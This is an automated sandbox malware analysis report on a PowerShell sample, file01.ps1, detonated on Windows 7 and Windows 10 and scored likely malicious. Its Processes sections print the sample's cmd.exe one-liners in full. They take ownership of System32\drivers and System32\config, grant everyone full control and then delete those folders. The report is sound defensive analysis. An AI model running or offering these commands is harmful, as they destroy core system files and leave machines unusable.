Malware Analysis Report

2024-11-16 12:53

Sample ID 240813-zns2zswakf
Target file01.ps1
SHA256 6377fc50b386cf4e90f86e49e89125e01af9ac23349ee5d5ce9c49c23ad3f308
Tags
discovery execution exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

6377fc50b386cf4e90f86e49e89125e01af9ac23349ee5d5ce9c49c23ad3f308

Threat Level: Likely malicious

The file file01.ps1 was found to be: Likely malicious.

Malicious Activity Summary

discovery execution exploit

Possible privilege escalation attempt

Modifies file permissions

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-13 20:52

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-13 20:52

Reported

2024-08-13 20:54

Platform

win7-20240708-en

Max time kernel

121s

Max time network

122s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2296 wrote to memory of 2280 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2296 wrote to memory of 2280 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2296 wrote to memory of 2280 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2280 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2280 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2280 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2280 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2280 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2280 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2296 wrote to memory of 1072 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2296 wrote to memory of 1072 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2296 wrote to memory of 1072 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1072 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 1072 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 1072 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 1072 wrote to memory of 2204 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1072 wrote to memory of 2204 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1072 wrote to memory of 2204 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul && exit"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant everyone:(f)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant everyone:(f)

C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T

Network

N/A

Files

memory/2296-4-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

memory/2296-7-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

memory/2296-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

memory/2296-5-0x000000001B670000-0x000000001B952000-memory.dmp

memory/2296-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

memory/2296-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

memory/2296-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

memory/2296-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

memory/2296-12-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-13 20:52

Reported

2024-08-13 20:54

Platform

win10v2004-20240802-en

Max time kernel

116s

Max time network

148s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul && exit"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant everyone:(f)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant everyone:(f)

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

memory/3000-0-0x00007FF9D8953000-0x00007FF9D8955000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14wkjsun.3s4.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3000-2-0x000001AFFF5A0000-0x000001AFFF5C2000-memory.dmp

memory/3000-11-0x00007FF9D8950000-0x00007FF9D9411000-memory.dmp

memory/3000-12-0x00007FF9D8950000-0x00007FF9D9411000-memory.dmp

memory/3000-15-0x00007FF9D8950000-0x00007FF9D9411000-memory.dmp